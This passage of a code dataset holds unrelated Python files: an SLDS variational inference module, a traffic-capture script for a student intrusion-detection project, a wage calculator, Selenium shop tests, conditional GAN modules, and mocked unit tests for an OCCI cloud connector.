+{"seq_id":"75151933367","text":"import autograd.numpy as np\nimport autograd.numpy.random as npr\n\nfrom ssm.core import _SwitchingLDS\nfrom ssm.emissions import _LinearEmissions\nfrom ssm.preprocessing import interpolate_data\nfrom ssm.primitives import lds_log_probability, lds_sample, lds_mean\nfrom ssm.util import ensure_variational_args_are_lists\n\nclass VariationalPosterior(object):\n    \"\"\"\n    Base class for a variational posterior distribution.\n    \n        q(z; phi) \\approx p(z | x, theta)\n\n    where z is a latent variable and x is the observed data. \n\n    ## Reparameterization Gradients\n    We assume that the variational posterior is \"reparameterizable\"\n    in the sense that,\n\n    z ~ q(z; phi)  =d  eps ~ r(eps); z = f(eps; phi).\n\n    where =d denotes equal in distirbution.  If this is the case,\n    we can rewrite \n\n    L(phi) = E_q(z; phi) [g(z)] = E_r(eps) [g(f(eps; phi))] \n\n    and \n\n    dL/dphi = E_r(eps) [d/dphi g(f(eps; phi))] \n            approx 1/S sum_s [d/dphi g(f(eps_s; phi))]  \n\n    where eps_s ~iid r(eps).  In practice, this Monte Carlo estimate\n    of dL/dphi is lower variance than alternative approaches like\n    the score function estimator.\n\n    ## Amortization\n    We also allow for \"amortized variational inference,\" in which the\n    variational posterior parameters are a function of the data.  We \n    write the posterior as \n\n        q(z; x, phi) approx p(z | x, theta).\n    \n    \n    ## Requirements\n    A variational posterior must support sampling and point-wise \n    evaluation in order to be used for the reparameterization trick.\n    \"\"\"\n    @ensure_variational_args_are_lists\n    def __init__(self, model, datas, inputs=None, masks=None, tags=None):\n        \"\"\"\n        Initialize the posterior with a ref to the model and datas,\n        where datas is a list of data arrays.\n        \"\"\"\n        self.model = model\n        self.datas = datas\n\n    @property\n    def params(self):\n        \"\"\"\n        Return phi.\n        \"\"\"\n        raise NotImplemented\n\n    def sample(self):\n        \"\"\"\n        Return a sample from q(z; x, phi)\n        \"\"\"\n        raise NotImplemented\n\n    def log_density(self, sample):\n        \"\"\"\n        Return log q(z; x, phi)\n        \"\"\"\n        raise NotImplemented\n\n\nclass SLDSMeanFieldVariationalPosterior(VariationalPosterior):\n    \"\"\"\n    Mean field variational posterior for the continuous latent \n    states of an SLDS.  \n    \"\"\"\n    @ensure_variational_args_are_lists\n    def __init__(self, model, datas, \n                 inputs=None, masks=None, tags=None,\n                 initial_variance=0.01):\n\n        super(SLDSMeanFieldVariationalPosterior, self).\\\n            __init__(model, datas, masks, tags)\n\n        # Initialize the parameters\n        assert isinstance(model, _SwitchingLDS)\n        self.D = model.D\n        self.Ts = [data.shape[0] for data in datas]\n        self.initial_variance = initial_variance\n        self._params = [self._initialize_variational_params(data, input, mask, tag)\n                        for data, input, mask, tag in zip(datas, inputs, masks, tags)]\n\n    @property\n    def params(self):\n        return self._params\n\n    @params.setter\n    def params(self, value):\n        assert len(value) == len(self.datas)\n        for v, T in zip(value, self.Ts):\n            assert len(v) == 2\n            q_mu, q_sigma_inv = v\n            assert q_mu.shape == q_sigma_inv.shape == (T, self.D)\n\n        self._params = value\n\n    @property\n    def mean(self):\n        return [mu for mu, _ in self.params]\n\n    def _initialize_variational_params(self, data, input, mask, tag):\n        T = data.shape[0]\n        q_mu = self.model.emissions.invert(data, input=input, mask=mask, tag=tag)    \n        q_sigma_inv = np.log(self.initial_variance) * np.ones((T, self.D))\n        return q_mu, q_sigma_inv\n\n    def sample(self):\n        return [q_mu + np.sqrt(np.exp(q_sigma_inv)) * npr.randn(*q_mu.shape) \n                for (q_mu, q_sigma_inv) in self.params]\n\n    def log_density(self, sample):\n        assert isinstance(sample, list) and len(sample) == len(self.datas)\n\n        logq = 0\n        for s, (q_mu, q_sigma_inv) in zip(sample, self.params):\n            assert s.shape == q_mu.shape\n            q_sigma = np.exp(q_sigma_inv)\n            logq += np.sum(-0.5 * np.log(2 * np.pi * q_sigma))\n            logq += np.sum(-0.5 * (s - q_mu)**2 / q_sigma)\n\n        return logq\n\n\nclass SLDSTriDiagVariationalPosterior(VariationalPosterior):\n    \"\"\"\n    Gaussian variational posterior for the continuous latent \n    states of an SLDS.  The Gaussian is constrained to have \n    a block tri-diagonal inverse covariance matrix, as in a \n    linear dynamical system.\n    \"\"\"\n    @ensure_variational_args_are_lists\n    def __init__(self, model, datas, \n                 inputs=None, masks=None, tags=None,\n                 initial_variance=0.01):\n\n        super(SLDSTriDiagVariationalPosterior, self).\\\n            __init__(model, datas, masks, tags)\n\n        # Initialize the parameters\n        assert isinstance(model, _SwitchingLDS)\n        self.D = model.D\n        self.Ts = [data.shape[0] for data in datas]\n        self.initial_variance = initial_variance\n        self._params = [self._initialize_variational_params(data, input, mask, tag)\n                        for data, input, mask, tag in zip(datas, inputs, masks, tags)]\n\n    @property\n    def params(self):\n        return self._params\n\n    @params.setter\n    def params(self, value):\n        D = self.D\n\n        # Check the value for correct shape\n        assert len(value) == len(self.datas)\n        for v, T in zip(value, self.Ts):\n            As, bs, Qi_sqrts, ms, Ri_sqrts = v\n            assert As.shape == (T-1, D, D)\n            assert bs.shape == (T-1, D)\n            assert Qi_sqrts.shape == (T-1, D, D)\n            assert ms.shape == (T, D)\n            assert Ri_sqrts.shape == (T, D, D)\n\n        self._params = value\n\n    @property\n    def mean(self):\n        return [lds_mean(*prms) for prms in self.params]\n    \n    def _initialize_variational_params(self, data, input, mask, tag):\n        T = data.shape[0]\n        D = self.D\n\n        # Initialize the mean with the linear model, if applicable\n        ms = self.model.emissions.invert(data, input=input, mask=mask, tag=tag)\n        \n        # Initialize with no covariance between adjacent time steps\n        # NOTE: it's important to initialize A and Q to be nonzero,\n        # otherwise the gradients wrt them are zero and they never\n        # change during optimization!\n        As = np.repeat(np.eye(D)[None, :, :], T-1, axis=0)\n        bs = np.zeros((T-1, D))\n        Qi_sqrts = np.repeat(np.eye(D)[None, :, :], T-1, axis=0)\n        Ri_sqrts = 1./np.sqrt(self.initial_variance) * np.repeat(np.eye(D)[None, :, :], T, axis=0)\n        return As, bs, Qi_sqrts, ms, Ri_sqrts\n\n    def sample(self):\n        return [lds_sample(*prms) for prms in self.params]\n\n    def log_density(self, sample):\n        assert isinstance(sample, list) and len(sample) == len(self.datas)\n\n        logq = 0\n        for s, prms in zip(sample, self.params):\n            logq += lds_log_probability(s, *prms)\n        return logq\n","repo_name":"cunningham-lab/monotonic-flds","sub_path":"ssm_spline/ssm/variational.py","file_name":"variational.py","file_ext":"py","file_size_in_byte":7091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20694314656","text":"import subprocess\nimport os\nfrom datetime import datetime\n\n# Path to TCPDUMP CICFLOWMETER\npath_to_cicflowmeter = os.getcwd() + '/TCPDUMP_and_CICFlowMeter-master/'\n\n# Command to execute\n# Here I am running the TCPDUMP CICFLOWMETER .sh file and passing basic commands such as the adapter...\nrun_command = './capture_interface_pcap.sh'\n\ninterface = 'wlp3s0'\n\n# Directory for new capture flow\ndir_path = path_to_cicflowmeter + 'csv/' + datetime.now().strftime(\"%d_%m_%Y\")\n\n# Create the directory\nif not os.path.exists(dir_path):\n\tos.mkdir(dir_path)\n\ndir_path = dir_path\n\n# Run TCP DUMP\nsubprocess.call(['bash',path_to_cicflowmeter + run_command, interface, dir_path, 'patryk'])\n","repo_name":"Striker-Eurika/Group-1---IDS","sub_path":"Intrusion_Detection_System/automate_cicflowmeter.py","file_name":"automate_cicflowmeter.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"2531203272","text":"#Inputs\r\n\r\nHourlyWages = input (\"How much is the Hourly Wages: \")\r\nHW=float(HourlyWages)\r\n\r\nNumRegHr = input (\"What is the Regular Working Hour Per Day: \")\r\nRH=float(NumRegHr)\r\n\r\nTotalOverTime = input (\"What is your Total Overtime Hour: \")\r\nTOT=float(TotalOverTime)\r\n\r\n#Compute\r\n\r\nOverTimePay = 1.5*HW*TOT\r\nTotalWeeklyPay = HW*RH*7 + OverTimePay\r\n\r\n#Display\r\n\r\n#print (\"Total OverTimePay is $\", OverTimePay)\r\nprint (\"Your weekly pay for the week is $\", TotalWeeklyPay)\r\n","repo_name":"GrandpaGnes/Intro-to-Python","sub_path":"EmployeePay.py","file_name":"EmployeePay.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10192508814","text":"import unittest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom time import sleep\nunittest.TestLoader.sortTestMethodsUsing = None\n\nclass SwagTest(unittest.TestCase):\n    @classmethod\n    def setUpClass(cls):\n        cls.driver = webdriver.Safari()\n        cls.driver.get(\"https://www.saucedemo.com/v1/index.html\")\n        user_name_element = WebDriverWait(cls.driver,10).until(EC.presence_of_element_located((By.ID,\n         \"user-name\")))\n        user_name_element.send_keys(\"standard_user\")\n        #cls.driver.fullscreen_window()\n        cls.driver.set_window_rect(0, 0, 1400, 1024)\n        sleep(2)\n        action = ActionChains(cls.driver)\n        action.click(on_element=user_name_element)\n        action.perform() # performs the click action\n\n        pass_element = cls.driver.find_element(By.ID,\"password\")\n        pass_element.send_keys(\"secret_sauce\")\n        action.reset_actions()\n        action.click(on_element = pass_element)\n        action.perform() # performs the click action\n        sleep(2)\n        # Clicking the LOGIN button\n        login_element = cls.driver.find_element(By.ID,\"login-button\")\n        action.reset_actions()\n        action.click(on_element = login_element)\n        action.perform() # performs the click action\n        sleep(2)\n\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.driver.quit()    #closes the browser window\n    \n\n    def test_01_count_items(self):\n        \"\"\" Checks the number of items displayed on the main page\"\"\"\n        item_list = self.driver.find_elements(By.CLASS_NAME,\"inventory_item\")\n        self.assertEqual(6,len(item_list))\n\n    def test_02_add_to_cart(self):\n        \"\"\"Checks if element is added to the cart\"\"\"\n        element = WebDriverWait(self.driver,10).until(EC.presence_of_element_located((By.XPATH,\n         \"/html/body/div/div[2]/div[2]/div/div[2]/div/div[1]/div[3]/button\")))\n        action = ActionChains(self.driver)\n        action.click(on_element=element)\n        action.perform() # performs the click action\n        sleep(3)\n        itemCountElement = WebDriverWait(self.driver,10).until(EC.presence_of_element_located((By.XPATH,\n         \"/html/body/div/div[2]/div[1]/div[2]/a/span\")))\n        self.assertEqual(itemCountElement.text,\"1\")\n\n    def test_03_remove_from_cart(self):\n        \"\"\"Checks if element is removed from the cart\"\"\"\n        element = WebDriverWait(self.driver,10).until(EC.presence_of_element_located((By.XPATH,\n         \"/html/body/div/div[2]/div[2]/div/div[2]/div/div[1]/div[3]/button\")))\n        action = ActionChains(self.driver)\n        action.click(on_element=element)\n        action.perform() # performs the click action\n        sleep(2)\n        self.assertEqual(element.text,\"ADD TO CART\")\n\n\n    def test_04_back_button(self):\n        \"\"\"Testing the back button\"\"\"\n        element = WebDriverWait(self.driver,10).until(EC.presence_of_element_located((By.XPATH,\n        \"/html/body/div/div[2]/div[2]/div/div[2]/div/div[4]/div[2]/a/div\")))\n        action = ActionChains(self.driver)\n        action.click(on_element=element)\n        action.perform() # performs the click action\n        sleep(3)\n\n        # Finding and clicking the back button\n        element = WebDriverWait(self.driver,10).until(EC.presence_of_element_located((By.XPATH,\n        \"/html/body/div/div[2]/div[2]/div/button\")))\n        action.reset_actions()\n        action.click(on_element=element)\n        action.perform() # performs the click action\n        sleep(3)\n\n        item_list = self.driver.find_elements(By.CLASS_NAME,\"inventory_item\")\n        self.assertEqual(6,len(item_list))\n\n    def test_05_logout(self):\n        \"\"\"Test if user can log out\"\"\"\n        element = WebDriverWait(self.driver,10).until(EC.presence_of_element_located((By.CLASS_NAME,\n        \"bm-burger-button\")))\n        action = ActionChains(self.driver)\n        action.click(on_element=element)\n        action.perform() # performs the click action\n        sleep(3)\n\n        element = WebDriverWait(self.driver,10).until(EC.presence_of_element_located((By.ID,\n        \"logout_sidebar_link\")))\n        action.reset_actions()\n        action.click(on_element=element)\n        action.perform() # performs the click action\n        sleep(3)\n\n        \nif __name__ == '__main__':\n    unittest.main()   # execution of the tests from command line","repo_name":"ShinyServiper/SauceSwagLabs","sub_path":"sauce_demo_test.py","file_name":"sauce_demo_test.py","file_ext":"py","file_size_in_byte":4519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26670324396","text":"import torch\nimport torch.nn as nn\nimport torch.autograd as autograd\nfrom torch.autograd import Variable\n\n\ndef calc_gradient_penalty(discriminator, real_feats, fake_feats, labels, lambda1=10.):\n    b = real_feats.size(0)\n    alpha = torch.rand(b, 1).to(real_feats.device)\n    alpha = alpha.expand(real_feats.size())\n\n    interpolates = alpha * real_feats + ((1 - alpha) * fake_feats)\n    interpolates = Variable(interpolates, requires_grad=True)\n\n    disc_interpolates = discriminator(interpolates, labels)\n\n    ones = torch.ones(disc_interpolates.size()).to(real_feats.device)\n\n    gradients = autograd.grad(outputs=disc_interpolates, inputs=interpolates,\n                              grad_outputs=ones, create_graph=True, retain_graph=True, only_inputs=True)[0]\n\n    gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean() * lambda1\n    return gradient_penalty\n\n\nclass ConditionalGenerator(nn.Module):\n    def __init__(self, noise_size, label_size, hidden_size, output_size):\n        super(ConditionalGenerator, self).__init__()\n        self.fc1 = nn.Linear(noise_size + label_size, hidden_size)\n        self.fc2 = nn.Linear(hidden_size, output_size)\n        self.activation = nn.LeakyReLU(0.2)\n\n    def forward(self, noise, label):\n        x = torch.cat([noise, label], dim=-1)\n        x = self.fc1(x)\n        x = self.activation(x)\n        x = self.fc2(x)\n        return x\n\n\nclass ConditionalDiscriminator(nn.Module):\n    def __init__(self, feat_size, label_size, hidden_size, output_size=1):\n        super(ConditionalDiscriminator, self).__init__()\n        self.fc1 = nn.Linear(feat_size + label_size, hidden_size)\n        self.fc2 = nn.Linear(hidden_size, output_size)\n        self.activation = nn.LeakyReLU(0.2)\n\n    def forward(self, feat, label):\n        x = torch.cat([feat, label], dim=-1)\n        x = self.fc1(x)\n        x = self.activation(x)\n        x = self.fc2(x)\n        return x.squeeze()\n","repo_name":"petuum/gzsl_text","sub_path":"modules/generative_module.py","file_name":"generative_module.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"77"}
+{"seq_id":"42338592611","text":"import sys\nimport unittest\nimport json\n\nsys.path.append(\".\")\nsys.path.append(\"..\")\nfrom .CloudConn import TestCloudConnectorBase\nfrom IM.CloudInfo import CloudInfo\nfrom IM.auth import Authentication\nfrom radl import radl_parse\ntry:\n    from urlparse import urlparse\nexcept ImportError:\n    from urllib.parse import urlparse\nfrom IM.VirtualMachine import VirtualMachine\nfrom IM.InfrastructureInfo import InfrastructureInfo\nfrom IM.connectors.OCCI import OCCICloudConnector\nfrom IM.connectors.OCCI import KeyStoneAuth\nfrom radl.radl import RADL, system, contextualize_item, configure\nfrom mock import patch, MagicMock\n\n\nclass TestOCCIConnector(TestCloudConnectorBase):\n    \"\"\"\n    Class to test the IM connectors\n    \"\"\"\n\n    def setUp(self):\n        self.return_error = False\n        TestCloudConnectorBase.setUp(self)\n\n    @staticmethod\n    def get_occi_cloud():\n        cloud_info = CloudInfo()\n        cloud_info.type = \"OCCI\"\n        cloud_info.protocol = \"https\"\n        cloud_info.server = \"server.com\"\n        cloud_info.port = 11443\n        inf = MagicMock()\n        inf.id = \"1\"\n        cloud = OCCICloudConnector(cloud_info, inf)\n        return cloud\n\n    def test_concrete(self):\n        radl_data = \"\"\"\n            network net ()\n            system test (\n            cpu.arch='x86_64' and\n            cpu.count>=1 and\n            memory.size>=512m and\n            net_interface.0.connection = 'net' and\n            net_interface.0.dns_name = 'test' and\n            disk.0.os.name = 'linux' and\n            disk.0.image.url = 'https://server.com:11443/image' and\n            disk.0.os.credentials.username = 'user'\n            )\"\"\"\n        radl = radl_parse.parse_radl(radl_data)\n        radl_system = radl.systems[0]\n\n        auth = Authentication([{'id': 'occi', 'type': 'OCCI', 'proxy': 'proxy', 'host': 'https://server.com:11443'}])\n        occi_cloud = self.get_occi_cloud()\n\n        concrete = occi_cloud.concreteSystem(radl_system, auth)\n        self.assertEqual(len(concrete), 1)\n        self.assertNotIn(\"ERROR\", self.log.getvalue(), msg=\"ERROR found in log: %s\" % self.log.getvalue())\n\n    @patch('IM.AppDB.AppDB.get_site_id')\n    @patch('IM.AppDB.AppDB.get_site_url')\n    def test_concrete_appdb(self, get_site_url, get_site_id):\n        radl_data = \"\"\"\n            network net ()\n            system test (\n            cpu.arch='x86_64' and\n            cpu.count>=1 and\n            memory.size>=512m and\n            net_interface.0.connection = 'net' and\n            net_interface.0.dns_name = 'test' and\n            disk.0.os.name = 'linux' and\n            disk.0.image.url = 'appdb://CESNET-MetaCloud/egi.ubuntu.16.04?fedcloud.egi.eu' and\n            disk.0.os.credentials.username = 'user'\n            )\"\"\"\n        radl = radl_parse.parse_radl(radl_data)\n        radl_system = radl.systems[0]\n\n        auth = Authentication([{'id': 'occi', 'type': 'OCCI', 'proxy': 'proxy',\n                                'host': 'https://carach5.ics.muni.cz:11443'}])\n        occi_cloud = self.get_occi_cloud()\n        occi_cloud.cloud.server = \"carach5.ics.muni.cz\"\n\n        get_site_url.return_value = \"https://carach5.ics.muni.cz:11443\"\n        get_site_id.return_value = \"siteid\"\n        concrete = occi_cloud.concreteSystem(radl_system, auth)\n        self.assertEqual(len(concrete), 1)\n        self.assertNotIn(\"ERROR\", self.log.getvalue(), msg=\"ERROR found in log: %s\" % self.log.getvalue())\n\n    def get_response(self, method, url, verify, cert=None, headers=None, data=None):\n        resp = MagicMock()\n        parts = urlparse(url)\n        url = parts[2]\n        params = parts[4]\n\n        if method not in self.call_count:\n            self.call_count[method] = {}\n        if url not in self.call_count[method]:\n            self.call_count[method][url] = 0\n        self.call_count[method][url] += 1\n\n        resp.status_code = 404\n\n        if method == \"GET\":\n            if url == \"\":\n                resp.status_code = 300\n                resp.json.return_value = {\"versions\": {\"values\": [{\"id\": \"v3.6\"}, {\"id\": \"v2.0\"}]}}\n            if url == \"/-/\":\n                resp.status_code = 200\n                resp.text = self.read_file_as_string(\"files/occi.txt\")\n            elif url == \"/compute/1\":\n                resp.status_code = 200\n                resp.text = self.read_file_as_string(\"files/occi_vm_info.txt\")\n            elif url.startswith(\"/storage\"):\n                resp.status_code = 200\n                resp.text = 'X-OCCI-Attribute: occi.storage.state=\"online\"'\n            elif url == \"/v2.0/tenants\":\n                resp.status_code = 200\n                resp.json.return_value = {\"tenants\": [{\"name\": \"tenantname\"}]}\n            elif url == \"/v3/auth/projects\":\n                resp.status_code = 200\n                resp.json.return_value = {\"projects\": [{\"id\": \"projectid\", \"name\": \"prname\"}]}\n            elif url == \"/v3/OS-FEDERATION/identity_providers/egi.eu/protocols/oidc/auth\":\n                resp.status_code = 200\n                resp.headers = {'X-Subject-Token': 'token1'}\n            elif url.endswith(\"/link/storagelink/compute_10_disk_1\"):\n                resp.status_code = 404\n            elif url == \"/rest/1.0/sites\":\n                resp.status_code = 200\n                resp.text = \"\"\"<appdb:appdb>\n                                <appdb:site id=\"14454G0\" name=\"CESNET-MetaCloud\" infrastructure=\"Production\"\n                                status=\"Certified\">\n                                    <site:service type=\"openstack\" id=\"4454G0\" host=\"https://carach5.ics.muni.cz:5000\">\n                                    </site:service>\n                                    <site:service type=\"occi\" id=\"4455G0\" host=\"https://carach5.ics.muni.cz:11443\">\n                                    </site:service>\n                                </appdb:site>\n                                </appdb:appdb>\"\"\"\n            elif url == \"/rest/1.0/va_providers/4454G0\":\n                resp.status_code = 200\n                resp.text = \"\"\"<appdb:appdb>\n                                <virtualization:provider id=\"4454G0\" in_production=\"true\">\n                                <provider:endpoint_url>https://carach5.ics.muni.cz:11443</provider:endpoint_url>\n                                <provider:image\n                                    vmiversion=\"2019.01.21\"\n                                    va_provider_image_id=\"http://url/os_tpl#image_id\"\n                                    appcname=\"egi.docker.ubuntu.16.04\"\n                                    voname=\"fedcloud.egi.eu\"/>\n                                <provider:image\n                                    vmiversion=\"2019.01.21\"\n                                    va_provider_image_id=\"http://url/os_tpl#image_id2\"\n                                    appcname=\"egi.ubuntu.16.04\"\n                                    voname=\"fedcloud.egi.eu\"/>\n                                <provider:image\n                                    vmiversion=\"2018.01.21\"\n                                    va_provider_image_id=\"http://url/os_tpl#image_id3\"\n                                    appcname=\"egi.ubuntu.16.04\"\n                                    voname=\"fedcloud.egi.eu\"/>\n                                </virtualization:provider>\n                                </appdb:appdb>\"\"\"\n            elif url == \"/network/\":\n                resp.status_code = 200\n                resp.text = (\"X-OCCI-Location: http://server.com/network/1\"\n                             \"\\nX-OCCI-Location: http://server.com/network/2\")\n            elif url == \"/network/2\":\n                resp.status_code = 200\n                resp.text = \"X-OCCI-Attribute: occi.network.address=\\\"158.42.0.0/24\\\"\"\n            elif url == \"/network/1\":\n                resp.status_code = 200\n                resp.text = \"X-OCCI-Attribute: occi.network.address=\\\"10.0.0.0/24\\\"\"\n        elif method == \"POST\":\n            if url == \"/compute/\":\n                if self.return_error:\n                    resp.status_code = 400\n                    resp.reason = 'Error msg'\n                    resp.text = ''\n                else:\n                    resp.status_code = 201\n                    resp.text = 'https://server.com/compute/1'\n            elif params == \"action=suspend\":\n                resp.status_code = 204\n            elif params == \"action=start\":\n                resp.status_code = 200\n            elif params == \"action=restart\":\n                resp.status_code = 200\n            elif url == \"/storagelink/\":\n                resp.status_code = 200\n            elif url == \"/storage/\":\n                resp.status_code = 201\n                resp.text = 'https://server.com/storage/1'\n            elif url == \"/networkinterface/\":\n                resp.status_code = 201\n            elif url == \"/v2.0/tokens\":\n                if json.loads(data) == {\"auth\": {\"voms\": True}}:\n                    resp.status_code = 200\n                    resp.json.return_value = {\"access\": {\"token\": {\"id\": \"token1\"}}}\n                elif json.loads(data) == {\"auth\": {\"voms\": True, \"tenantName\": \"tenantname\"}}:\n                    resp.status_code = 200\n                    resp.json.return_value = {\"access\": {\"token\": {\"id\": \"token2\"}}}\n                else:\n                    resp.status_code = 400\n            elif url == \"/v3/auth/tokens\":\n                if json.loads(data) == {\"auth\": {\"scope\": {\"project\": {\"id\": \"projectid\"}},\n                                                 \"identity\": {\"token\": {\"id\": \"token1\"}, \"methods\": [\"token\"]}}}:\n                    resp.status_code = 200\n                    resp.headers = {'X-Subject-Token': 'token3'}\n                else:\n                    resp.status_code = 400\n        elif method == \"DELETE\":\n            if url.endswith(\"/compute/1\"):\n                resp.status_code = 200\n            elif url.endswith(\"/storage/1\"):\n                resp.status_code = 200\n            elif url.endswith(\"/link/storagelink/compute_10_disk_1\"):\n                resp.status_code = 200\n            elif url.endswith(\"/link/networkinterface/compute_10_nic_1\"):\n                resp.status_code = 200\n\n        return resp\n\n    @patch('requests.request')\n    @patch('IM.connectors.OCCI.KeyStoneAuth.get_keystone_uri')\n    @patch('IM.InfrastructureList.InfrastructureList.save_data')\n    def test_20_launch(self, save_data, get_keystone_uri, requests):\n        radl_data = \"\"\"\n            network net1 (outbound = 'yes' and outports = '8080')\n            network net2 ()\n            system test (\n            cpu.arch='x86_64' and\n            cpu.count>=1 and\n            memory.size>=512m and\n            net_interface.0.connection = 'net1' and\n            net_interface.0.dns_name = 'test' and\n            net_interface.1.connection = 'net2' and\n            disk.0.os.name = 'linux' and\n            disk.0.image.url = 'http://server.com/666956cb-9d15-475e-9f19-a3732c82a327' and\n            disk.0.os.credentials.username = 'user' and\n            disk.1.size=1GB and\n            disk.1.device='hdb' and\n            disk.1.mount_path='/mnt/path' and\n            disk.2.image.url = 'http://server.com/storage/2'\n            )\"\"\"\n        radl = radl_parse.parse_radl(radl_data)\n        radl.check()\n\n        auth = Authentication([{'id': 'occi', 'type': 'OCCI', 'proxy': 'proxy', 'host': 'https://server.com:11443'},\n                               {'type': 'InfrastructureManager', 'username': 'user', 'password': 'pass'}])\n        occi_cloud = self.get_occi_cloud()\n\n        requests.side_effect = self.get_response\n        get_keystone_uri.return_value = None, None\n\n        inf = InfrastructureInfo()\n        inf.auth = auth\n        res = occi_cloud.launch(inf, radl, radl, 1, auth)\n        success, _ = res[0]\n        self.assertTrue(success, msg=\"ERROR: launching a VM.\")\n        self.assertNotIn(\"ERROR\", self.log.getvalue(), msg=\"ERROR found in log: %s\" % self.log.getvalue())\n\n        self.return_error = True\n        inf = InfrastructureInfo()\n        inf.auth = auth\n        res = occi_cloud.launch(inf, radl, radl, 1, auth)\n        self.return_error = False\n        success, msg = res[0]\n        self.assertFalse(success)\n        self.assertEqual(msg, \"Error msg\\n\")\n        self.assertEqual(self.call_count['DELETE']['/storage/1'], 1)\n        self.assertNotIn('/storage/2', self.call_count['DELETE'])\n\n    @patch('requests.request')\n    @patch('IM.connectors.OCCI.KeyStoneAuth.get_keystone_uri')\n    def test_30_updateVMInfo(self, get_keystone_uri, requests):\n        radl_data = \"\"\"\n            network net (outbound = 'yes')\n            system test (\n            cpu.arch='x86_64' and\n            cpu.count=1 and\n            memory.size=512m and\n            net_interface.0.connection = 'net' and\n            net_interface.0.dns_name = 'test' and\n            disk.0.os.name = 'linux' and\n            disk.0.image.url = 'https://server.com/666956cb-9d15-475e-9f19-a3732c82a327' and\n            disk.0.os.credentials.username = 'user' and\n            disk.0.os.credentials.password = 'pass'\n            )\"\"\"\n        radl = radl_parse.parse_radl(radl_data)\n        radl.check()\n\n        auth = Authentication([{'id': 'occi', 'type': 'OCCI', 'proxy': 'proxy', 'host': 'https://server.com:11443'}])\n        occi_cloud = self.get_occi_cloud()\n\n        inf = MagicMock()\n        vm = VirtualMachine(inf, \"1\", occi_cloud.cloud, radl, radl, occi_cloud, 1)\n\n        requests.side_effect = self.get_response\n\n        get_keystone_uri.return_value = None, None\n\n        success, vm = occi_cloud.updateVMInfo(vm, auth)\n\n        self.assertTrue(success, msg=\"ERROR: updating VM info.\")\n        self.assertNotIn(\"ERROR\", self.log.getvalue(), msg=\"ERROR found in log: %s\" % self.log.getvalue())\n\n        memory = vm.info.systems[0].getValue(\"memory.size\")\n        self.assertEqual(memory, 1824522240)\n\n    @patch('requests.request')\n    @patch('IM.connectors.OCCI.KeyStoneAuth.get_keystone_uri')\n    def test_40_stop(self, get_keystone_uri, requests):\n        auth = Authentication([{'id': 'occi', 'type': 'OCCI', 'proxy': 'proxy', 'host': 'https://server.com:11443'}])\n        occi_cloud = self.get_occi_cloud()\n\n        inf = MagicMock()\n        vm = VirtualMachine(inf, \"1\", occi_cloud.cloud, \"\", \"\", occi_cloud, 1)\n\n        requests.side_effect = self.get_response\n\n        get_keystone_uri.return_value = None, None\n\n        success, _ = occi_cloud.stop(vm, auth)\n\n        self.assertTrue(success, msg=\"ERROR: stopping VM info.\")\n        self.assertNotIn(\"ERROR\", self.log.getvalue(), msg=\"ERROR found in log: %s\" % self.log.getvalue())\n\n    @patch('requests.request')\n    @patch('IM.connectors.OCCI.KeyStoneAuth.get_keystone_uri')\n    def test_50_start(self, get_keystone_uri, requests):\n        auth = Authentication([{'id': 'occi', 'type': 'OCCI', 'proxy': 'proxy', 'host': 'https://server.com:11443'}])\n        occi_cloud = self.get_occi_cloud()\n\n        inf = MagicMock()\n        vm = VirtualMachine(inf, \"1\", occi_cloud.cloud, \"\", \"\", occi_cloud, 1)\n\n        requests.side_effect = self.get_response\n\n        get_keystone_uri.return_value = None, None\n\n        success, _ = occi_cloud.start(vm, auth)\n\n        self.assertTrue(success, msg=\"ERROR: stopping VM info.\")\n        self.assertNotIn(\"ERROR\", self.log.getvalue(), msg=\"ERROR found in log: %s\" % self.log.getvalue())\n\n    @patch('requests.request')\n    @patch('IM.connectors.OCCI.KeyStoneAuth.get_keystone_uri')\n    def test_52_reboot(self, get_keystone_uri, requests):\n        auth = Authentication([{'id': 'occi', 'type': 'OCCI', 'proxy': 'proxy', 'host': 'https://server.com:11443'}])\n        occi_cloud = self.get_occi_cloud()\n\n        inf = MagicMock()\n        vm = VirtualMachine(inf, \"1\", occi_cloud.cloud, \"\", \"\", occi_cloud, 1)\n\n        requests.side_effect = self.get_response\n\n        get_keystone_uri.return_value = None, None\n\n        success, _ = occi_cloud.reboot(vm, auth)\n\n        self.assertTrue(success, msg=\"ERROR: rebooting VM info.\")\n        self.assertNotIn(\"ERROR\", self.log.getvalue(), msg=\"ERROR found in log: %s\" % self.log.getvalue())\n\n    @patch('requests.request')\n    @patch('IM.connectors.OCCI.KeyStoneAuth.get_keystone_uri')\n    def test_55_alter(self, get_keystone_uri, requests):\n        radl_data = \"\"\"\n            network net ()\n            system test (\n            cpu.arch='x86_64' and\n            cpu.count=1 and\n            memory.size=512m and\n            net_interface.0.connection = 'net' and\n            net_interface.0.dns_name = 'test' and\n            disk.0.os.name = 'linux' and\n            disk.0.os.credentials.username = 'user' and\n            disk.0.os.credentials.password = 'pass'\n            )\"\"\"\n        radl = radl_parse.parse_radl(radl_data)\n\n        new_radl_data = \"\"\"\n            network net ()\n            network net1 (outbound = 'yes')\n            system test (\n            net_interface.0.connection = 'net' and\n            net_interface.1.connection = 'net1' and\n            disk.1.size=1GB and\n            disk.1.device='hdc' and\n            disk.1.fstype='ext4' and\n            disk.1.mount_path='/mnt/disk'\n            )\"\"\"\n        new_radl = radl_parse.parse_radl(new_radl_data)\n\n        auth = Authentication([{'id': 'occi', 'type': 'OCCI', 'proxy': 'proxy', 'host': 'https://server.com:11443'}])\n        occi_cloud = self.get_occi_cloud()\n\n        inf = MagicMock()\n        vm = VirtualMachine(inf, \"1\", occi_cloud.cloud, radl, radl, occi_cloud, 1)\n\n        requests.side_effect = 